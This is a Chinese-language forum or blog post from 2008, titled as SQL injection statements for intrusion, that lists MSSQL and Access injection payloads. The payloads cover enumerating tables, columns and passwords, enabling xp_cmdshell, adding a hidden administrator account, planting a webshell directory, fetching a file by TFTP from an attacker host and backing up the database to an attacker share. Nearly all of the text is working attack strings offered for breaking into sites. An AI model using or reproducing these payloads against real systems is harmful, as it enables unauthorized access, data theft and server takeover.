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入侵时的SQL注射语句

[ 录入者:whypu | 时间:2008-06-17 20:56:17 | 浏览:234次 ]

SQL注射语句
1.判断有无注入点
' ; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判断是否存在admin这张表
3.猜帐号数目如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解字段名称在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(密码字段名称password)>0)
5.猜解各个字段的长度猜解长度就是把>0变换直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误长度是12
and 1=(select count(*) from admin where len(password)=12) 正确
6.猜解字符
and 1=(select count(*) from admin where left(name,1)='a') ---猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)='ab')---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
看服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)--
看数据库连接账号的权限，返回正常，证明是服务器角色sysadmin权限。
and 1=(Select IS_SRVROLEMEMBER('sysadmin'))--
判断连接数据库帐号。（采用SA账号连接返回正常=证明了连接账号是SA）
and 'sa'=(Select System_user)--
and user_name()='dbo'--
and 0<>(select user_name()--
看xp_cmdshell是否删除
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND
name = 'xp_cmdshell')--
xp_cmdshell被删除，恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'--
;EXEC master.dbo.sp_addextendedproc
'xp_cmdshell','c:\inetpub\wwwroot\xplog70.dll'--
反向PING自己实验
;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec
sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
加帐号
;DECLARE @shell INT EXEC SP_OACreate 'wscript.shell',@shell OUTPUT EXEC
SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user
jiaoniang$ 1866574 /add'--
创建一个虚拟目录E盘：
;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod
@o, 'run', NULL,' cscript.exe c：\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点"
-v "e","e：\"'--
访问属性：（配合写入一个webshell）
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod
@o, 'run', NULL,' cscript.exe c：\inetpub\wwwroot\chaccess.vbs -a
w3svc/1/ROOT/e +browse'
爆库特殊技巧：:%5c='\' 或者把/和\ 修改%5提交
如何得到SQLSERVER某个数据库中所有表的表名？

--------------------------------------------------------------------------------
用户表：
select name from sysobjects where xtype = 'U';
系统表：
select name from sysobjects where xtype = 'S';
所有表：
select name from sysobjects where xtype = 'S' or xtype = 'U';
--------------------------------------------------------------------------------
and 0<>(select top 1 paths from newtable)--
得到库名（从1到5都是系统的id，6以上才可以判断）
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and
dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表
假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name
not in ('Admin')) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and
name='admin'
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569)
得到一个admin的一个字段,假设为 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and
name not in
('id',...)) 来暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到密码。。。。。假设存在user_id username ,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and
dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name
not in('Address'))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and
name='admin' and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
(union，access也好用)
得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare
@test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE',
@key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\',
@value_name='/', [url=mailto:values=@test]values=@test[/url] OUTPUT insert into paths(path)
values(@test)--
;use ku1;--
;create table cmd (str image);-- 建立image类型的表cmd
存在xp_cmdshell的测试过程：
;exec master..xp_cmdshell 'dir'
;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号
;exec master.dbo.sp_password null,jiaoniang$,1866574;--
;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--
;exec master.dbo.xp_cmdshell 'net user jiaoniang$ 1866574 /workstations:*
/times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators jiaoniang$
/add';--
exec master..xp_servicecontrol 'start', 'schedule' 启动服务
exec master..xp_servicecontrol 'start', 'server'
; DECLARE @shell INT EXEC SP_OACreate 'wscript.shell',@shell OUTPUT EXEC
SP_OAMETHOD @shell,'run',null, 'C：\WINNT\system32\cmd.exe /c net user
jiaoniang$ 1866574 /add'
;DECLARE @shell INT EXEC SP_OACreate 'wscript.shell',@shell OUTPUT EXEC
SP_OAMETHOD @shell,'run',null, 'C：\WINNT\system32\cmd.exe /c net
localgroup administrators jiaoniang$ /add'
'; exec master..xp_cmdshell 'tftp -i youip get file.exe'-- 利用TFTP上传文件
;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
;declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\'
;declare @a;set @a=db_name();backup database @a to
disk='你的IP你的共享目录bak.dat'
如果被限制则可以。
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec
master.dbo.sp_addlogin hax')
查询构造：
Select * FROM news Where id=... AND topic=... AND .....
admin'and 1=(select count(*) from [user] where username='victim' and
right(left(userpass,01),1)='1') and userpass <>'
select 123;--
;use master;--
:a' or name like 'fff%';-- 显示有一个叫ffff的用户哈。
and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where
xtype='u' and status>0) where name='ffff';--
;update [users] set email=(select top 1 id from sysobjects where xtype='u'
and name='ad') where name='ffff';--
';update [users] set email=(select top 1 name from sysobjects where
xtype='u' and id>581577110) where name='ffff';--
';update [users] set email=(select top 1 count(id) from password) where
name='ffff';--
';update [users] set email=(select top 1 pwd from password where id=2)
where name='ffff';--
';update [users] set email=(select top 1 name from password where id=2)
where name='ffff';--
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID 得到第二个表的名字
insert into users values( 666,
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123, 'admin''--', 'password', 0xffff)--
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //为access数据库
枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and
status>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表，第二个表可以这样读出来（在条件后加上 and name<>'刚才得到的表名'）。
;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and
status>0 and name<>'vote');--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表，一个个的读出，直到没有为止。

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